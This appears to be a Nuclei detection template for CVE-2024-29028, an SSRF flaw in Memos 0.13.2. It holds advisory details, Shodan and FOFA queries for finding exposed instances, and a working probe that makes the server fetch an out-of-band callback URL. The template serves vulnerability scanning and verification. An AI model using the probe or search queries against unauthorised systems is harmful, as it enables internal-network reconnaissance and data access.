SSRF vulnerabilities exist in the memos API service `/o/get/httpmeta` that allow unauthenticated and authenticated users to enumerate and read from the internal network. In addition, one SSRF vulnerability leads to a reflected XSS vulnerability, which may allow an attacker complete control over the administrator account.
id: CVE-2024-29028
info:
name: Memos 0.13.2 - Server-Side Request Forgery
author: ritikchaddha
severity: medium
description: |
SSRF vulnerabilities exist in the memos API service `/o/get/httpmeta` that allow unauthenticated and authenticated users to enumerate and read from the internal network. In addition, one SSRF vulnerability leads to a reflected XSS vulnerability, which may allow an attacker complete control over the administrator account.
impact: |
Attackers can make the server perform requests to arbitrary internal or external resources, potentially accessing sensitive data or internal services.
remediation: |
Update Memos to version 0.13.3 or later.
reference:
- https://securitylab.github.com/advisories/GHSL-2023-154_GHSL-2023-156_memos/
- https://nvd.nist.gov/vuln/detail/CVE-2024-29028
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cwe-id: CWE-918
cve-id: CVE-2024-29028
epss-score: 0.01049
epss-percentile: 0.6317
metadata:
verified: true
max-request: 1
shodan-query: title:"Memos"
fofa-query: title="Memos"
tags: cve,cve2024,ssrf,memos,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/o/get/httpmeta?url=https://{{interactsh-url}}"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(interactsh_protocol, "dns")'
- 'contains_any(tolower(body), "memos", "title\":")'
condition: and
# digest: 490a0046304402204fdfb9fa62706cc601316f90fda542a1ce7138a1fc2c5f5f223e8e8ca7c5db4802206d9ab35baaf5ea75c6944ebec761583ebcf9e121bb3c946d825aaed824eea2fa:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.